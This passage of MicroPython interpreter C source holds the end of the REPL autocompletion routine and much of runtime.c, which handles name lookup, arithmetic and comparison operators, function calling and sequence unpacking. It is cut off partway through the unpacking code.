dict->map.table[i].value; break; } } } if (obj == MP_OBJ_NULL) { // lookup failed return 0; } // found an object of this name; try to get its dict if (MP_OBJ_IS_TYPE(obj, &mp_type_module)) { dict = mp_obj_module_get_globals(obj); } else { mp_obj_type_t *type; if (MP_OBJ_IS_TYPE(obj, &mp_type_type)) { type = MP_OBJ_TO_PTR(obj); } else { type = mp_obj_get_type(obj); } if (type->locals_dict != NULL && type->locals_dict->base.type == &mp_type_dict) { dict = type->locals_dict; } else { // obj has no dict return 0; } } // skip '.' to move to next word ++str; } else { // end of string, do completion on this partial name // look for matches int n_found = 0; const char *match_str = NULL; size_t match_len = 0; for (size_t i = 0; i < dict->map.alloc; i++) { if (MP_MAP_SLOT_IS_FILLED(&dict->map, i)) { size_t d_len; const char *d_str = mp_obj_str_get_data(dict->map.table[i].key, &d_len); if (s_len <= d_len && strncmp(s_start, d_str, s_len) == 0) { if (match_str == NULL) { match_str = d_str; match_len = d_len; } else { // search for longest common prefix of match_str and d_str // (assumes these strings are null-terminated) for (size_t j = s_len; j <= match_len && j <= d_len; ++j) { if (match_str[j] != d_str[j]) { match_len = j; break; } } } ++n_found; } } } // nothing found if (n_found == 0) { // If there're no better alternatives, and if it's first word // in the line, try to complete "import". if (s_start == org_str) { static const char import_str[] = "import "; if (memcmp(s_start, import_str, s_len) == 0) { *compl_str = import_str + s_len; return sizeof(import_str) - 1 - s_len; } } return 0; } // 1 match found, or multiple matches with a common prefix if (n_found == 1 || match_len > s_len) { *compl_str = match_str + s_len; return match_len - s_len; } // multiple matches found, print them out #define WORD_SLOT_LEN (16) #define MAX_LINE_LEN (4 * WORD_SLOT_LEN) int line_len = MAX_LINE_LEN; // force a newline for first word for (size_t i = 0; i < dict->map.alloc; i++) { if (MP_MAP_SLOT_IS_FILLED(&dict->map, i)) { size_t d_len; const char *d_str = mp_obj_str_get_data(dict->map.table[i].key, &d_len); if (s_len <= d_len && strncmp(s_start, d_str, s_len) == 0) { int gap = (line_len + WORD_SLOT_LEN - 1) / WORD_SLOT_LEN * WORD_SLOT_LEN - line_len; if (gap < 2) { gap += WORD_SLOT_LEN; } if (line_len + gap + d_len <= MAX_LINE_LEN) { // TODO optimise printing of gap? for (int j = 0; j < gap; ++j) { mp_print_str(print, " "); } mp_print_str(print, d_str); line_len += gap + d_len; } else { mp_printf(print, "\n%s", d_str); line_len = d_len; } } } } mp_print_str(print, "\n"); return (size_t)(-1); // indicate many matches } } } #endif // MICROPY_HELPER_REPL ================================================ FILE: micropython/source/py/runtime.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include "py/mpstate.h" #include "py/nlr.h" #include "py/parsenum.h" #include "py/compile.h" #include "py/objstr.h" #include "py/objtuple.h" #include "py/objlist.h" #include "py/objmodule.h" #include "py/objgenerator.h" #include "py/smallint.h" #include "py/runtime0.h" #include "py/runtime.h" #include "py/builtin.h" #include "py/stackctrl.h" #include "py/gc.h" #if MICROPY_DEBUG_VERBOSE // print debugging info #define DEBUG_PRINT (1) #define DEBUG_printf DEBUG_printf #define DEBUG_OP_printf(...) DEBUG_printf(__VA_ARGS__) #else // don't print debugging info #define DEBUG_printf(...) (void)0 #define DEBUG_OP_printf(...) (void)0 #endif const mp_obj_module_t mp_module___main__ = { .base = { &mp_type_module }, .globals = (mp_obj_dict_t*)&MP_STATE_VM(dict_main), }; void mp_init(void) { qstr_init(); // no pending exceptions to start with MP_STATE_VM(mp_pending_exception) = MP_OBJ_NULL; #if MICROPY_ENABLE_SCHEDULER MP_STATE_VM(sched_state) = MP_SCHED_IDLE; MP_STATE_VM(sched_sp) = 0; #endif #if MICROPY_ENABLE_EMERGENCY_EXCEPTION_BUF mp_init_emergency_exception_buf(); #endif #if MICROPY_KBD_EXCEPTION // initialise the exception object for raising KeyboardInterrupt MP_STATE_VM(mp_kbd_exception).base.type = &mp_type_KeyboardInterrupt; MP_STATE_VM(mp_kbd_exception).traceback_alloc = 0; MP_STATE_VM(mp_kbd_exception).traceback_len = 0; MP_STATE_VM(mp_kbd_exception).traceback_data = NULL; MP_STATE_VM(mp_kbd_exception).args = (mp_obj_tuple_t*)&mp_const_empty_tuple_obj; #endif // call port specific initialization if any #ifdef MICROPY_PORT_INIT_FUNC MICROPY_PORT_INIT_FUNC; #endif // optimization disabled by default MP_STATE_VM(mp_optimise_value) = 0; // init global module dict mp_obj_dict_init(&MP_STATE_VM(mp_loaded_modules_dict), 3); // initialise the __main__ module mp_obj_dict_init(&MP_STATE_VM(dict_main), 1); mp_obj_dict_store(MP_OBJ_FROM_PTR(&MP_STATE_VM(dict_main)), MP_OBJ_NEW_QSTR(MP_QSTR___name__), MP_OBJ_NEW_QSTR(MP_QSTR___main__)); // locals = globals for outer module (see Objects/frameobject.c/PyFrame_New()) mp_locals_set(&MP_STATE_VM(dict_main)); mp_globals_set(&MP_STATE_VM(dict_main)); #if MICROPY_CAN_OVERRIDE_BUILTINS // start with no extensions to builtins MP_STATE_VM(mp_module_builtins_override_dict) = NULL; #endif #if MICROPY_FSUSERMOUNT // zero out the pointers to the user-mounted devices memset(MP_STATE_VM(fs_user_mount), 0, sizeof(MP_STATE_VM(fs_user_mount))); #endif #if MICROPY_VFS // initialise the VFS sub-system MP_STATE_VM(vfs_cur) = NULL; MP_STATE_VM(vfs_mount_table) = NULL; #endif #if MICROPY_PY_THREAD_GIL mp_thread_mutex_init(&MP_STATE_VM(gil_mutex)); #endif MP_THREAD_GIL_ENTER(); } void mp_deinit(void) { //mp_obj_dict_free(&dict_main); //mp_map_deinit(&MP_STATE_VM(mp_loaded_modules_map)); // call port specific deinitialization if any #ifdef MICROPY_PORT_INIT_FUNC MICROPY_PORT_DEINIT_FUNC; #endif } mp_obj_t mp_load_name(qstr qst) { // logic: search locals, globals, builtins DEBUG_OP_printf("load name %s\n", qstr_str(qst)); // If we're at the outer scope (locals == globals), dispatch to load_global right away if (mp_locals_get() != mp_globals_get()) { mp_map_elem_t *elem = mp_map_lookup(&mp_locals_get()->map, MP_OBJ_NEW_QSTR(qst), MP_MAP_LOOKUP); if (elem != NULL) { return elem->value; } } return mp_load_global(qst); } mp_obj_t mp_load_global(qstr qst) { // logic: search globals, builtins DEBUG_OP_printf("load global %s\n", qstr_str(qst)); mp_map_elem_t *elem = mp_map_lookup(&mp_globals_get()->map, MP_OBJ_NEW_QSTR(qst), MP_MAP_LOOKUP); if (elem == NULL) { #if MICROPY_CAN_OVERRIDE_BUILTINS if (MP_STATE_VM(mp_module_builtins_override_dict) != NULL) { // lookup in additional dynamic table of builtins first elem = mp_map_lookup(&MP_STATE_VM(mp_module_builtins_override_dict)->map, MP_OBJ_NEW_QSTR(qst), MP_MAP_LOOKUP); if (elem != NULL) { return elem->value; } } #endif elem = mp_map_lookup((mp_map_t*)&mp_module_builtins_globals.map, MP_OBJ_NEW_QSTR(qst), MP_MAP_LOOKUP); if (elem == NULL) { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_msg(&mp_type_NameError, "name not defined"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_NameError, "name '%q' is not defined", qst)); } } } return elem->value; } mp_obj_t mp_load_build_class(void) { DEBUG_OP_printf("load_build_class\n"); #if MICROPY_CAN_OVERRIDE_BUILTINS if (MP_STATE_VM(mp_module_builtins_override_dict) != NULL) { // lookup in additional dynamic table of builtins first mp_map_elem_t *elem = mp_map_lookup(&MP_STATE_VM(mp_module_builtins_override_dict)->map, MP_OBJ_NEW_QSTR(MP_QSTR___build_class__), MP_MAP_LOOKUP); if (elem != NULL) { return elem->value; } } #endif return MP_OBJ_FROM_PTR(&mp_builtin___build_class___obj); } void mp_store_name(qstr qst, mp_obj_t obj) { DEBUG_OP_printf("store name %s <- %p\n", qstr_str(qst), obj); mp_obj_dict_store(MP_OBJ_FROM_PTR(mp_locals_get()), MP_OBJ_NEW_QSTR(qst), obj); } void mp_delete_name(qstr qst) { DEBUG_OP_printf("delete name %s\n", qstr_str(qst)); // TODO convert KeyError to NameError if qst not found mp_obj_dict_delete(MP_OBJ_FROM_PTR(mp_locals_get()), MP_OBJ_NEW_QSTR(qst)); } void mp_store_global(qstr qst, mp_obj_t obj) { DEBUG_OP_printf("store global %s <- %p\n", qstr_str(qst), obj); mp_obj_dict_store(MP_OBJ_FROM_PTR(mp_globals_get()), MP_OBJ_NEW_QSTR(qst), obj); } void mp_delete_global(qstr qst) { DEBUG_OP_printf("delete global %s\n", qstr_str(qst)); // TODO convert KeyError to NameError if qst not found mp_obj_dict_delete(MP_OBJ_FROM_PTR(mp_globals_get()), MP_OBJ_NEW_QSTR(qst)); } mp_obj_t mp_unary_op(mp_uint_t op, mp_obj_t arg) { DEBUG_OP_printf("unary " UINT_FMT " %p\n", op, arg); if (op == MP_UNARY_OP_NOT) { // "not x" is the negative of whether "x" is true per Python semantics return mp_obj_new_bool(mp_obj_is_true(arg) == 0); } else if (MP_OBJ_IS_SMALL_INT(arg)) { mp_int_t val = MP_OBJ_SMALL_INT_VALUE(arg); switch (op) { case MP_UNARY_OP_BOOL: return mp_obj_new_bool(val != 0); case MP_UNARY_OP_HASH: return arg; case MP_UNARY_OP_POSITIVE: return arg; case MP_UNARY_OP_NEGATIVE: // check for overflow if (val == MP_SMALL_INT_MIN) { return mp_obj_new_int(-val); } else { return MP_OBJ_NEW_SMALL_INT(-val); } default: assert(op == MP_UNARY_OP_INVERT); return MP_OBJ_NEW_SMALL_INT(~val); } } else if (op == MP_UNARY_OP_HASH && MP_OBJ_IS_STR_OR_BYTES(arg)) { // fast path for hashing str/bytes GET_STR_HASH(arg, h); if (h == 0) { GET_STR_DATA_LEN(arg, data, len); h = qstr_compute_hash(data, len); } return MP_OBJ_NEW_SMALL_INT(h); } else { mp_obj_type_t *type = mp_obj_get_type(arg); if (type->unary_op != NULL) { mp_obj_t result = type->unary_op(op, arg); if (result != MP_OBJ_NULL) { return result; } } if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_TypeError("unsupported type for operator"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "unsupported type for %q: '%s'", mp_unary_op_method_name[op], mp_obj_get_type_str(arg))); } } } mp_obj_t mp_binary_op(mp_uint_t op, mp_obj_t lhs, mp_obj_t rhs) { DEBUG_OP_printf("binary " UINT_FMT " %p %p\n", op, lhs, rhs); // TODO correctly distinguish inplace operators for mutable objects // lookup logic that CPython uses for +=: // check for implemented += // then check for implemented + // then check for implemented seq.inplace_concat // then check for implemented seq.concat // then fail // note that list does not implement + or +=, so that inplace_concat is reached first for += // deal with is if (op == MP_BINARY_OP_IS) { return mp_obj_new_bool(lhs == rhs); } // deal with == and != for all types if (op == MP_BINARY_OP_EQUAL || op == MP_BINARY_OP_NOT_EQUAL) { if (mp_obj_equal(lhs, rhs)) { if (op == MP_BINARY_OP_EQUAL) { return mp_const_true; } else { return mp_const_false; } } else { if (op == MP_BINARY_OP_EQUAL) { return mp_const_false; } else { return mp_const_true; } } } // deal with exception_match for all types if (op == MP_BINARY_OP_EXCEPTION_MATCH) { // rhs must be issubclass(rhs, BaseException) if (mp_obj_is_exception_type(rhs)) { if (mp_obj_exception_match(lhs, rhs)) { return mp_const_true; } else { return mp_const_false; } } else if (MP_OBJ_IS_TYPE(rhs, &mp_type_tuple)) { mp_obj_tuple_t *tuple = MP_OBJ_TO_PTR(rhs); for (size_t i = 0; i < tuple->len; i++) { rhs = tuple->items[i]; if (!mp_obj_is_exception_type(rhs)) { goto unsupported_op; } if (mp_obj_exception_match(lhs, rhs)) { return mp_const_true; } } return mp_const_false; } goto unsupported_op; } if (MP_OBJ_IS_SMALL_INT(lhs)) { mp_int_t lhs_val = MP_OBJ_SMALL_INT_VALUE(lhs); if (MP_OBJ_IS_SMALL_INT(rhs)) { mp_int_t rhs_val = MP_OBJ_SMALL_INT_VALUE(rhs); // This is a binary operation: lhs_val op rhs_val // We need to be careful to handle overflow; see CERT INT32-C // Operations that can overflow: // + result always fits in mp_int_t, then handled by SMALL_INT check // - result always fits in mp_int_t, then handled by SMALL_INT check // * checked explicitly // / if lhs=MIN and rhs=-1; result always fits in mp_int_t, then handled by SMALL_INT check // % if lhs=MIN and rhs=-1; result always fits in mp_int_t, then handled by SMALL_INT check // << checked explicitly switch (op) { case MP_BINARY_OP_OR: case MP_BINARY_OP_INPLACE_OR: lhs_val |= rhs_val; break; case MP_BINARY_OP_XOR: case MP_BINARY_OP_INPLACE_XOR: lhs_val ^= rhs_val; break; case MP_BINARY_OP_AND: case MP_BINARY_OP_INPLACE_AND: lhs_val &= rhs_val; break; case MP_BINARY_OP_LSHIFT: case MP_BINARY_OP_INPLACE_LSHIFT: { if (rhs_val < 0) { // negative shift not allowed mp_raise_ValueError("negative shift count"); } else if (rhs_val >= (mp_int_t)BITS_PER_WORD || lhs_val > (MP_SMALL_INT_MAX >> rhs_val) || lhs_val < (MP_SMALL_INT_MIN >> rhs_val)) { // left-shift will overflow, so use higher precision integer lhs = mp_obj_new_int_from_ll(lhs_val); goto generic_binary_op; } else { // use standard precision lhs_val <<= rhs_val; } break; } case MP_BINARY_OP_RSHIFT: case MP_BINARY_OP_INPLACE_RSHIFT: if (rhs_val < 0) { // negative shift not allowed mp_raise_ValueError("negative shift count"); } else { // standard precision is enough for right-shift if (rhs_val >= (mp_int_t)BITS_PER_WORD) { // Shifting to big amounts is underfined behavior // in C and is CPU-dependent; propagate sign bit. rhs_val = BITS_PER_WORD - 1; } lhs_val >>= rhs_val; } break; case MP_BINARY_OP_ADD: case MP_BINARY_OP_INPLACE_ADD: lhs_val += rhs_val; break; case MP_BINARY_OP_SUBTRACT: case MP_BINARY_OP_INPLACE_SUBTRACT: lhs_val -= rhs_val; break; case MP_BINARY_OP_MULTIPLY: case MP_BINARY_OP_INPLACE_MULTIPLY: { // If long long type exists and is larger than mp_int_t, then // we can use the following code to perform overflow-checked multiplication. // Otherwise (eg in x64 case) we must use mp_small_int_mul_overflow. #if 0 // compute result using long long precision long long res = (long long)lhs_val * (long long)rhs_val; if (res > MP_SMALL_INT_MAX || res < MP_SMALL_INT_MIN) { // result overflowed SMALL_INT, so return higher precision integer return mp_obj_new_int_from_ll(res); } else { // use standard precision lhs_val = (mp_int_t)res; } #endif if (mp_small_int_mul_overflow(lhs_val, rhs_val)) { // use higher precision lhs = mp_obj_new_int_from_ll(lhs_val); goto generic_binary_op; } else { // use standard precision return MP_OBJ_NEW_SMALL_INT(lhs_val * rhs_val); } break; } case MP_BINARY_OP_FLOOR_DIVIDE: case MP_BINARY_OP_INPLACE_FLOOR_DIVIDE: if (rhs_val == 0) { goto zero_division; } lhs_val = mp_small_int_floor_divide(lhs_val, rhs_val); break; #if MICROPY_PY_BUILTINS_FLOAT case MP_BINARY_OP_TRUE_DIVIDE: case MP_BINARY_OP_INPLACE_TRUE_DIVIDE: if (rhs_val == 0) { goto zero_division; } return mp_obj_new_float((mp_float_t)lhs_val / (mp_float_t)rhs_val); #endif case MP_BINARY_OP_MODULO: case MP_BINARY_OP_INPLACE_MODULO: { if (rhs_val == 0) { goto zero_division; } lhs_val = mp_small_int_modulo(lhs_val, rhs_val); break; } case MP_BINARY_OP_POWER: case MP_BINARY_OP_INPLACE_POWER: if (rhs_val < 0) { #if MICROPY_PY_BUILTINS_FLOAT lhs = mp_obj_new_float(lhs_val); goto generic_binary_op; #else mp_raise_ValueError("negative power with no float support"); #endif } else { mp_int_t ans = 1; while (rhs_val > 0) { if (rhs_val & 1) { if (mp_small_int_mul_overflow(ans, lhs_val)) { goto power_overflow; } ans *= lhs_val; } if (rhs_val == 1) { break; } rhs_val /= 2; if (mp_small_int_mul_overflow(lhs_val, lhs_val)) { goto power_overflow; } lhs_val *= lhs_val; } lhs_val = ans; } break; power_overflow: // use higher precision lhs = mp_obj_new_int_from_ll(MP_OBJ_SMALL_INT_VALUE(lhs)); goto generic_binary_op; case MP_BINARY_OP_DIVMOD: { if (rhs_val == 0) { goto zero_division; } // to reduce stack usage we don't pass a temp array of the 2 items mp_obj_tuple_t *tuple = MP_OBJ_TO_PTR(mp_obj_new_tuple(2, NULL)); tuple->items[0] = MP_OBJ_NEW_SMALL_INT(mp_small_int_floor_divide(lhs_val, rhs_val)); tuple->items[1] = MP_OBJ_NEW_SMALL_INT(mp_small_int_modulo(lhs_val, rhs_val)); return MP_OBJ_FROM_PTR(tuple); } case MP_BINARY_OP_LESS: return mp_obj_new_bool(lhs_val < rhs_val); break; case MP_BINARY_OP_MORE: return mp_obj_new_bool(lhs_val > rhs_val); break; case MP_BINARY_OP_LESS_EQUAL: return mp_obj_new_bool(lhs_val <= rhs_val); break; case MP_BINARY_OP_MORE_EQUAL: return mp_obj_new_bool(lhs_val >= rhs_val); break; default: goto unsupported_op; } // TODO: We just should make mp_obj_new_int() inline and use that if (MP_SMALL_INT_FITS(lhs_val)) { return MP_OBJ_NEW_SMALL_INT(lhs_val); } else { return mp_obj_new_int(lhs_val); } #if MICROPY_PY_BUILTINS_FLOAT } else if (mp_obj_is_float(rhs)) { mp_obj_t res = mp_obj_float_binary_op(op, lhs_val, rhs); if (res == MP_OBJ_NULL) { goto unsupported_op; } else { return res; } #if MICROPY_PY_BUILTINS_COMPLEX } else if (MP_OBJ_IS_TYPE(rhs, &mp_type_complex)) { mp_obj_t res = mp_obj_complex_binary_op(op, lhs_val, 0, rhs); if (res == MP_OBJ_NULL) { goto unsupported_op; } else { return res; } #endif #endif } } /* deal with `in` * * NOTE `a in b` is `b.__contains__(a)`, hence why the generic dispatch * needs to go below with swapped arguments */ if (op == MP_BINARY_OP_IN) { mp_obj_type_t *type = mp_obj_get_type(rhs); if (type->binary_op != NULL) { mp_obj_t res = type->binary_op(op, rhs, lhs); if (res != MP_OBJ_NULL) { return res; } } if (type->getiter != NULL) { /* second attempt, walk the iterator */ mp_obj_iter_buf_t iter_buf; mp_obj_t iter = mp_getiter(rhs, &iter_buf); mp_obj_t next; while ((next = mp_iternext(iter)) != MP_OBJ_STOP_ITERATION) { if (mp_obj_equal(next, lhs)) { return mp_const_true; } } return mp_const_false; } if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_TypeError("object not iterable"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "'%s' object is not iterable", mp_obj_get_type_str(rhs))); } } // generic binary_op supplied by type mp_obj_type_t *type; generic_binary_op: type = mp_obj_get_type(lhs); if (type->binary_op != NULL) { mp_obj_t result = type->binary_op(op, lhs, rhs); if (result != MP_OBJ_NULL) { return result; } } // TODO implement dispatch for reverse binary ops unsupported_op: if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_TypeError("unsupported type for operator"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "unsupported types for %q: '%s', '%s'", mp_binary_op_method_name[op], mp_obj_get_type_str(lhs), mp_obj_get_type_str(rhs))); } zero_division: mp_raise_msg(&mp_type_ZeroDivisionError, "division by zero"); } mp_obj_t mp_call_function_0(mp_obj_t fun) { return mp_call_function_n_kw(fun, 0, 0, NULL); } mp_obj_t mp_call_function_1(mp_obj_t fun, mp_obj_t arg) { return mp_call_function_n_kw(fun, 1, 0, &arg); } mp_obj_t mp_call_function_2(mp_obj_t fun, mp_obj_t arg1, mp_obj_t arg2) { mp_obj_t args[2]; args[0] = arg1; args[1] = arg2; return mp_call_function_n_kw(fun, 2, 0, args); } // args contains, eg: arg0 arg1 key0 value0 key1 value1 mp_obj_t mp_call_function_n_kw(mp_obj_t fun_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { // TODO improve this: fun object can specify its type and we parse here the arguments, // passing to the function arrays of fixed and keyword arguments DEBUG_OP_printf("calling function %p(n_args=" UINT_FMT ", n_kw=" UINT_FMT ", args=%p)\n", fun_in, n_args, n_kw, args); // get the type mp_obj_type_t *type = mp_obj_get_type(fun_in); // do the call if (type->call != NULL) { return type->call(fun_in, n_args, n_kw, args); } if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_TypeError("object not callable"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "'%s' object is not callable", mp_obj_get_type_str(fun_in))); } } // args contains: fun self/NULL arg(0) ... arg(n_args-2) arg(n_args-1) kw_key(0) kw_val(0) ... kw_key(n_kw-1) kw_val(n_kw-1) // if n_args==0 and n_kw==0 then there are only fun and self/NULL mp_obj_t mp_call_method_n_kw(size_t n_args, size_t n_kw, const mp_obj_t *args) { DEBUG_OP_printf("call method (fun=%p, self=%p, n_args=" UINT_FMT ", n_kw=" UINT_FMT ", args=%p)\n", args[0], args[1], n_args, n_kw, args); int adjust = (args[1] == MP_OBJ_NULL) ? 0 : 1; return mp_call_function_n_kw(args[0], n_args + adjust, n_kw, args + 2 - adjust); } // This function only needs to be exposed externally when in stackless mode. #if !MICROPY_STACKLESS STATIC #endif void mp_call_prepare_args_n_kw_var(bool have_self, size_t n_args_n_kw, const mp_obj_t *args, mp_call_args_t *out_args) { mp_obj_t fun = *args++; mp_obj_t self = MP_OBJ_NULL; if (have_self) { self = *args++; // may be MP_OBJ_NULL } uint n_args = n_args_n_kw & 0xff; uint n_kw = (n_args_n_kw >> 8) & 0xff; mp_obj_t pos_seq = args[n_args + 2 * n_kw]; // may be MP_OBJ_NULL mp_obj_t kw_dict = args[n_args + 2 * n_kw + 1]; // may be MP_OBJ_NULL DEBUG_OP_printf("call method var (fun=%p, self=%p, n_args=%u, n_kw=%u, args=%p, seq=%p, dict=%p)\n", fun, self, n_args, n_kw, args, pos_seq, kw_dict); // We need to create the following array of objects: // args[0 .. n_args] unpacked(pos_seq) args[n_args .. n_args + 2 * n_kw] unpacked(kw_dict) // TODO: optimize one day to avoid constructing new arg array? Will be hard. // The new args array mp_obj_t *args2; uint args2_alloc; uint args2_len = 0; // Try to get a hint for the size of the kw_dict uint kw_dict_len = 0; if (kw_dict != MP_OBJ_NULL && MP_OBJ_IS_TYPE(kw_dict, &mp_type_dict)) { kw_dict_len = mp_obj_dict_len(kw_dict); } // Extract the pos_seq sequence to the new args array. // Note that it can be arbitrary iterator. if (pos_seq == MP_OBJ_NULL) { // no sequence // allocate memory for the new array of args args2_alloc = 1 + n_args + 2 * (n_kw + kw_dict_len); args2 = m_new(mp_obj_t, args2_alloc); // copy the self if (self != MP_OBJ_NULL) { args2[args2_len++] = self; } // copy the fixed pos args mp_seq_copy(args2 + args2_len, args, n_args, mp_obj_t); args2_len += n_args; } else if (MP_OBJ_IS_TYPE(pos_seq, &mp_type_tuple) || MP_OBJ_IS_TYPE(pos_seq, &mp_type_list)) { // optimise the case of a tuple and list // get the items size_t len; mp_obj_t *items; mp_obj_get_array(pos_seq, &len, &items); // allocate memory for the new array of args args2_alloc = 1 + n_args + len + 2 * (n_kw + kw_dict_len); args2 = m_new(mp_obj_t, args2_alloc); // copy the self if (self != MP_OBJ_NULL) { args2[args2_len++] = self; } // copy the fixed and variable position args mp_seq_cat(args2 + args2_len, args, n_args, items, len, mp_obj_t); args2_len += n_args + len; } else { // generic iterator // allocate memory for the new array of args args2_alloc = 1 + n_args + 2 * (n_kw + kw_dict_len) + 3; args2 = m_new(mp_obj_t, args2_alloc); // copy the self if (self != MP_OBJ_NULL) { args2[args2_len++] = self; } // copy the fixed position args mp_seq_copy(args2 + args2_len, args, n_args, mp_obj_t); args2_len += n_args; // extract the variable position args from the iterator mp_obj_iter_buf_t iter_buf; mp_obj_t iterable = mp_getiter(pos_seq, &iter_buf); mp_obj_t item; while ((item = mp_iternext(iterable)) != MP_OBJ_STOP_ITERATION) { if (args2_len >= args2_alloc) { args2 = m_renew(mp_obj_t, args2, args2_alloc, args2_alloc * 2); args2_alloc *= 2; } args2[args2_len++] = item; } } // The size of the args2 array now is the number of positional args. uint pos_args_len = args2_len; // Copy the fixed kw args. mp_seq_copy(args2 + args2_len, args + n_args, 2 * n_kw, mp_obj_t); args2_len += 2 * n_kw; // Extract (key,value) pairs from kw_dict dictionary and append to args2. // Note that it can be arbitrary iterator. if (kw_dict == MP_OBJ_NULL) { // pass } else if (MP_OBJ_IS_TYPE(kw_dict, &mp_type_dict)) { // dictionary mp_map_t *map = mp_obj_dict_get_map(kw_dict); assert(args2_len + 2 * map->used <= args2_alloc); // should have enough, since kw_dict_len is in this case hinted correctly above for (size_t i = 0; i < map->alloc; i++) { if (MP_MAP_SLOT_IS_FILLED(map, i)) { // the key must be a qstr, so intern it if it's a string mp_obj_t key = map->table[i].key; if (MP_OBJ_IS_TYPE(key, &mp_type_str)) { key = mp_obj_str_intern(key); } args2[args2_len++] = key; args2[args2_len++] = map->table[i].value; } } } else { // generic mapping: // - call keys() to get an iterable of all keys in the mapping // - call __getitem__ for each key to get the corresponding value // get the keys iterable mp_obj_t dest[3]; mp_load_method(kw_dict, MP_QSTR_keys, dest); mp_obj_t iterable = mp_getiter(mp_call_method_n_kw(0, 0, dest), NULL); mp_obj_t key; while ((key = mp_iternext(iterable)) != MP_OBJ_STOP_ITERATION) { // expand size of args array if needed if (args2_len + 1 >= args2_alloc) { uint new_alloc = args2_alloc * 2; if (new_alloc < 4) { new_alloc = 4; } args2 = m_renew(mp_obj_t, args2, args2_alloc, new_alloc); args2_alloc = new_alloc; } // the key must be a qstr, so intern it if it's a string if (MP_OBJ_IS_TYPE(key, &mp_type_str)) { key = mp_obj_str_intern(key); } // get the value corresponding to the key mp_load_method(kw_dict, MP_QSTR___getitem__, dest); dest[2] = key; mp_obj_t value = mp_call_method_n_kw(1, 0, dest); // store the key/value pair in the argument array args2[args2_len++] = key; args2[args2_len++] = value; } } out_args->fun = fun; out_args->args = args2; out_args->n_args = pos_args_len; out_args->n_kw = (args2_len - pos_args_len) / 2; out_args->n_alloc = args2_alloc; } mp_obj_t mp_call_method_n_kw_var(bool have_self, size_t n_args_n_kw, const mp_obj_t *args) { mp_call_args_t out_args; mp_call_prepare_args_n_kw_var(have_self, n_args_n_kw, args, &out_args); mp_obj_t res = mp_call_function_n_kw(out_args.fun, out_args.n_args, out_args.n_kw, out_args.args); m_del(mp_obj_t, out_args.args, out_args.n_alloc); return res; } // unpacked items are stored in reverse order into the array pointed to by items void mp_unpack_sequence(mp_obj_t seq_in, size_t num, mp_obj_t *items) { size_t seq_len; if (MP_OBJ_IS_TYPE(seq_in, &mp_type_tuple) || MP_OBJ_IS_TYPE(seq_in, &mp_type_list)) { mp_obj_t *seq_items; mp_obj_get_array(seq_in, &seq_len, &seq_items); if (seq_len < num) { goto too_short; } else if (seq_len > num) { goto too_long; } for (size_t i = 0; i < num; i++) { items[i] = seq_items[num - 1 - i]; } } else { mp_obj_iter_buf_t iter_buf; mp_obj_t iterable = mp_getiter(seq_in, &iter_buf); for (seq_len = 0; seq_len < num; seq_len++) { mp_obj_t el = mp_iternext(iterable); if (el == MP_OBJ_STOP_ITERATION) { goto too_short; } items[num - 1 - seq_len] = el; } if (mp_iternext(iterable) != MP_OBJ_STOP_ITERATION) { goto too_long; } } return; too_short: if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_ValueError("wrong number of values to unpack"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_ValueError, "need more than %d values to unpack", (int)seq_len)); } too_long: if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_ValueError("wrong number of values to unpack"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_ValueError, "too many values to unpack (expected %d)", (int)num)); } } // unpacked items are stored in reverse order into the array pointed to by items void mp_unpack_ex(mp_obj_t seq_in, size_t num_in, mp_obj_t *items) { size_t num_left = num_in & 0xff; size_t num_right = (num_in >> 8) & 0xff; DEBUG_OP_printf("unpack ex " UINT_FMT " " UINT_FMT "\n", num_left, num_right); size_t seq_len; if (MP_OBJ_IS_TYPE(seq_in, &mp_type_tuple) || MP_OBJ_IS_TYPE(seq_in, &mp_type_list)) { mp_obj_t *seq_items; mp_obj_get_array(seq_in, &seq_len, &seq_items); if (seq_len < num_left + num_right) { goto too_short; } for (size_t i = 0; i < num_right; i++) { items[i] = seq_items[seq_len - 1 - i]; } items[num_right] = mp_obj_new_list(seq_len - num_left - num_right, seq_items + num_left); for (size_t i = 0; i < num_left; i++) { items[num_right + 1 + i] = seq_items[num_left - 1 - i]; } } else { // Generic iterable; this gets a bit messy: we unpack known left length to the // items destination array, then the rest to a dynamically created list. Once the // iterable is exhausted, we take from this list for the right part of the items. // TODO Improve to waste less memory in the dynamically created list. mp_obj_t iterable = mp_getiter(seq_in, NULL); mp_obj_t item; for 